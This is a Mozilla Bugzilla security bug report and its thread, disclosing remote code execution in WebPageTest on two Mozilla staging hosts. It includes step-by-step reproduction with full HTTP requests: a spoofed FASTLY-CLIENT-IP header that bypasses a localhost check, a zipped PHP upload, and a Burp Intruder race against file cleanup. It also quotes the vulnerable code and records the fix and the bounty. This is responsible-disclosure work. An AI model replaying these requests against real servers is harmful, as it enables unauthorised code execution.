Closed
Bug 1420520
Opened 7 years ago
Closed 7 years ago
Remote Code Execution on wpt-vpn.stage.mozaws.net and wpt1.dev.mozaws.net
Categories
(Cloud Services :: QA: Test Automation, defect)
Cloud Services
QA: Test Automation
Tracking
(Not tracked)
RESOLVED
FIXED
People
(Reporter: shahshubham369, Unassigned)
References
()
Details
(Keywords: reporter-external, sec-moderate, wsec-injection, Whiteboard: [reporter-external] [web-bounty-form] [verif?])
Attachments
(6 files)
Hi team,
After finding the asset wpt-vpn.stage.mozaws.net and wpt1.dev.mozaws.net, Mathais K (avlidienbrunn@gmail.com) and I obtained the source code and performed an audit. We were able to achieve remote command execution on this server/the newest version of WebPage Test.
The following steps detail how to exploit this vulnerability on wpt-vpn.stage.mozaws.net. The exact same steps can be followed in order to gain code execution on wpt1.dev.mozaws.net.
# Part 1: Obtaining a valid test ID
1. Go to http://wpt-vpn.stage.mozaws.net/traceroute.php
2. Enter https://google.com
3. Click "Start Test"
This will redirect you to a URL such as the following:
http://wpt-vpn.stage.mozaws.net/result/171124_GW_9/
We now have a valid test ID: 171124_GW_9
# Part 2: Create a zip with the PHP file you want to execute on the server
For this example, I will be using the following script:
phpinfo.php:
<?php phpinfo(); ?>
1. Create a phpinfo.php file with the contents <?php phpinfo(); ?>
2. Zip this file (i.e. `zip phpinfo.zip phpinfo.php`)
# Part 3: Exploiting an arbitrary file write
1. Paste the following HTTP request in Burp's Repeater:
POST /work/workdone.php?key=1&id=171124_GW_9 HTTP/1.1
Host: wpt-vpn.stage.mozaws.net
Content-Length: 374
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
FASTLY-CLIENT-IP: 127.0.0.1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBebbbk7QfDsfw1Nl
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3272.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,sv;q=0.8,da;q=0.7
Cookie: o=738b32e31614726cf4599078528935e2cb0ec1f6; tzo=60
Connection: close
------WebKitFormBoundaryBebbbk7QfDsfw1Nl
Content-Disposition: form-data; name="file"; filename="1.zip"
Content-Type: application/zip
{insert zip file here}
------WebKitFormBoundaryBebbbk7QfDsfw1Nl--
2. Highlight the text `{insert zip file here}`, right click, paste from file
3. Select the file created in part 2: 'phpinfo.zip'
Don't send the request yet, we now have to setup the Intruder to send requests to our uploaded file at a really fast rate.
# Part 4: Initiate the intruder attack on Burp at 100 threads
1. Paste the following HTTP request into a Burp Intruder tab:
```
GET /results/17/11/24/GW/9/phpinfo.php?version=§§ HTTP/1.1
Host: wpt-vpn.stage.mozaws.net
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: as=1; testOptions=3; runs=3; cfg=us-east-1:Chrome.Cable; u=1000; d=5000; l=28; p=0; tid=171124_AV_8; o=42f2e115b1302f85a03dfcf1ae555dda73e3b157; tzo=60
Connection: close
```
2. Click the "Payloads" tab
3. Set the payload type to "Numbers"
4. Set type to "Sequential"
5. Set `From` to 1, `To` to 1000000, and `Step` to 1
6. Click on the "Options" tab
7. Set the number of threads to 100
8. Start the intruder attack
# Part 5: Send the upload created in part 3
Keep on pressing the "Go" button in the repeater tab, while the intruder attack is running. Do this maybe 10 or 15 times, and then return to the Intruder window in Burp Suite.
Sort the intruder results by content length.
This will reveal a result containing the output of phpinfo()
(screenshots attached)
(phpinfo output attached too)
------
Technical explanation
Arbitrary File Upload via ZIP files:
/webpagetest/www/work/workdone.php
Lines 133 - 136
if (isset($_FILES['file']['tmp_name'])) {
ExtractZipFile($_FILES['file']['tmp_name'], $testPath);
CompressTextFiles($testPath);
}
------
Deletion of "dangerous files"
/webpagetest/www/work/workdone.php
Line 321
SecureDir($testPath);
------
SecureDir Function
Line 2322 - 2347
/webpagetest/www/common_lib.inc
/**
* Make sure there are no risky files in the given directory and make everything no-execute
*
* @param mixed $path
*/
function SecureDir($path) {
$files = scandir($path);
foreach ($files as $file) {
$filepath = "$path/$file";
if (is_file($filepath)) {
$parts = pathinfo($file);
$ext = strtolower($parts['extension']);
if (strpos($ext, 'php') === false &&
strpos($ext, 'pl') === false &&
strpos($ext, 'py') === false &&
strpos($ext, 'cgi') === false &&
strpos($ext, 'asp') === false &&
strpos($ext, 'js') === false &&
strpos($ext, 'rb') === false &&
strpos($ext, 'htaccess') === false &&
strpos($ext, 'jar') === false) {
@chmod($filepath, 0666);
} else {
@chmod($filepath, 0666); // just in case the unlink fails for some reason
unlink($filepath);
}
} elseif ($file != '.' && $file != '..' && is_dir($filepath)) {
SecureDir($filepath);
}
}
}
------
Since the SecureDir function occurs later during the code flow, we are able to exploit a race condition where the PHP files extracted to the webserver are temporarily accessible by the attacker. This leads to PHP code execution on the machine.
This is a 0day in WebPageTest and will require further co-ordination with their team. For the time being, I recommend enabling some sort of authentication for this host. This vulnerability can leads to a full compromise of the host `wpt-vpn.stage.mozaws.net`.
Flags: sec-bounty?
Reporter | ||
Comment 1•7 years ago
|
||
Reporter | ||
Comment 2•7 years ago
|
||
Reporter | ||
Comment 3•7 years ago
|
||
Reporter | ||
Comment 4•7 years ago
|
||
Reporter | ||
Comment 5•7 years ago
|
||
Reporter | ||
Comment 6•7 years ago
|
||
Please let me know if you weren't able to follow the reproduction steps. If this is the case, I'll spend some time creating a python script that recreates this vulnerability in an automated fashion.
Cheers
Comment 7•7 years ago
|
||
One thing to add to technical explanation: This script (/www/work/workdone.php line 103) is not supposed to be accessed from other sources than 127.0.0.1:
```
...
!strcmp($_SERVER['REMOTE_ADDR'], "127.0.0.1")
...
```
However there's a bug in /www/common.inc, line 70:
```
if (isset($_SERVER["HTTP_FASTLY_CLIENT_IP"]))
$_SERVER["REMOTE_ADDR"] = $_SERVER["HTTP_FASTLY_CLIENT_IP"];
```
This allows a remote user to arbitrarily set $_SERVER["REMOTE_ADDR"] by sending the "FASTLY-CLIENT-IP" request header.
Comment 8•7 years ago
|
||
Thank you for the very detailed report. Redirecting to our QA team, who owns the service.
Karl: is this a critical service or can we lock it down while working on a fix?
Assignee: nobody → kthiessen
Group: websites-security → cloud-services-security
Component: Other → QA: Test Automation
Flags: needinfo?(kthiessen)
Product: Websites → Cloud Services
Updated•7 years ago
|
Keywords: sec-moderate,
wsec-injection
Comment 9•7 years ago
|
||
Security groups on both stacks have been locked down to prevent connection from the public internet.
Comment 10•7 years ago
|
||
:ulfr, locking this down is no problem while working on a fix.
Cc'ing Stephen Donner, who is (I believe) nominally in charge of this particular host.
Flags: needinfo?(kthiessen)
In case it helps: although it's not listed on https://mana.mozilla.org/wiki/display/SVCOPS/WebPageTest, I actually have been using the wpt-api.stage.mozaws.net instance exclusively for 4+ months (see https://bugzilla.mozilla.org/show_bug.cgi?id=1388578#c8).
(Harald and :relud would have a much-better idea whom might still use http://wpt-vpn.stage.mozaws.net.)
Comment 12•7 years ago
|
||
I asked relud to remove the vpn requirement as we were in a time crunch to create benchmark videos and needed to set up new test agents.
We used the services to produce the page load tests but don’t have further work planned at the moment that depends on webpagetest.
Comment 13•7 years ago
|
||
Shubham: Have you reported this vulnerability to the upstream project, and do you know if they fixed it?
Stephen: could this service be updated to the latest version?
Comment 14•7 years ago
|
||
I am in chatge of these hosts, with miles as my secondary. updating to the latest version should be automatic in dev, amd is simply a deploy in stage.
Reporter | ||
Comment 15•7 years ago
|
||
:ulfr - I have sent an encrypted email to the maintainer of WebPageTest with the details of this vulnerability. I am waiting on a response and will update this thread once I have heard back.
Reporter | ||
Comment 16•7 years ago
|
||
Hi :ulfr
I have not received any response from the maintainer after sending a PGP encrypted email.
Since this bug is no longer exploitable for Mozilla, could this be considered for a sec-bounty?
Thanks
Updated•7 years ago
|
Status: UNCONFIRMED → RESOLVED
Closed: 7 years ago
Resolution: --- → FIXED
Updated•7 years ago
|
Flags: sec-bounty? → sec-bounty+
Reporter | ||
Comment 17•6 years ago
|
||
Hi :ulfr & :claudijd
I would like to write this bug up in a blog post. Can I please have permission to do so? I think the bug is interesting and can be disclosed responsibly since a year has passed. Appreciate it.
Shubs
Updated•6 years ago
|
Assignee: kthiessen → nobody
Comment 18•6 years ago
|
||
Lifting the sec flag. Feel free to write blog posts about it.
Group: cloud-services-security
Updated•8 months ago
|
Keywords: reporter-external
You need to log in
before you can comment on or make changes to this bug.
Description
•